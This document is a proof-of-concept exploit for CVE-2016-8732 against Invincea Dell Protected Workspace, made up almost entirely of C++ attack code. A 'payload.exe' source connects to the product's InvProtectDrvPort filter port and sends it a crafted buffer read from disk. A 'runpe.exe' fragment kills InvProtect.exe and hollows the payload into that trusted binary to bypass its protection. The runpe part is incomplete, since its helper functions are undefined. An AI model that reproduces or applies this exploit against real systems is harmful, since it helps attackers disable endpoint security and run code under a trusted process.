Invincea Dell Protected Workspace Protection Bypass(CVE-2016-8732)

                                                ---------------------------------------   payload.exe  --------------------------------------------
#include "stdafx.h"
#include "Win32Project1.h"
#include <Windows.h>
#include <Fltuser.h>
#pragma comment(lib,"FltLib")
#include <fstream>
using namespace std;

#define _CRT_SECURE_NO_WARNINGS

void LogMessage(char* pszFormat, ...) {

    static char s_acBuf[2048]; // this here is a caveat!

    va_list args;

    va_start(args, pszFormat);

    vsprintf(s_acBuf, pszFormat, args);

    OutputDebugStringA(s_acBuf);

    va_end(args);
}

PBYTE readFile(LPWSTR fileName, PDWORD size)
{
    PBYTE buffer;
    ifstream file(fileName, ios::binary);
    if (!file.is_open())
    {
        printf("Could no open file\n");
        exit(0);
    }

    file.seekg(0, file.end);
    *size = file.tellg();
    file.seekg(0, file.beg);
    buffer = new BYTE[*size];
    file.read((char*)buffer, *size);
    file.close();
    return buffer;
}
void dumpFile(PBYTE buff,DWORD buffSize)
{
    ofstream file("C:\\tmp\\outbuff.bin");
    file.write((char*)buff,buffSize);
    file.close();

}

void sendMessage()
{
    HANDLE portHandle;
    HRESULT result;
    DWORD inBufferLen;
    PBYTE inBuffer;
    const DWORD outBufferLen = 0x1000;
    BYTE outBuffer[0x1000] = { 0 };
    DWORD returned;
    LPCWSTR portName = L"\\InvProtectDrvPort";
    result = FilterConnectCommunicationPort(portName, 0, 0, 0, 0, &portHandle);

    if (IS_ERROR(result))
    {
        LogMessage("[-]Problem with connection : 0x%x\n", result);
        return;
    }
    LogMessage("[+]Connection set. Ready for actions\n");

    inBuffer = readFile(L"C:\\tmp\\package.bin", &inBufferLen);
    LogMessage("inBuffer = 0x%x  size : 0x%x\n", inBuffer, inBufferLen);
    result = FilterSendMessage(portHandle, inBuffer, inBufferLen, outBuffer, outBufferLen, &returned);
    if (IS_ERROR(result))
    {
        LogMessage("[-]FilterSend went wrong : 0x%x\n", result);
        return;
    }
    LogMessage("[+]Outbuff dumped with size : 0x%x\n",returned);
    dumpFile(outBuffer, returned);
    LogMessage("[+]Message Sent\n");
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{

    sendMessage();
    return 0;
}
---------------------------------------   payload.exe  --------------------------------------------

------------------------------------------ runpe.exe   ---------------------------------------------

int _tmain(int argc, _TCHAR* argv[])

LPWSTR src = L"C:\\Program Files\\Invincea\\Enterprise\\InvProtect.exe";
LPWSTR payload = L"Z:\\tmp\\payload.exe";
killProcess("InvProtect.exe");
runPE(src, readFile(payload));
return 0;


------------------------------------------ runpe.exe   ---------------------------------------------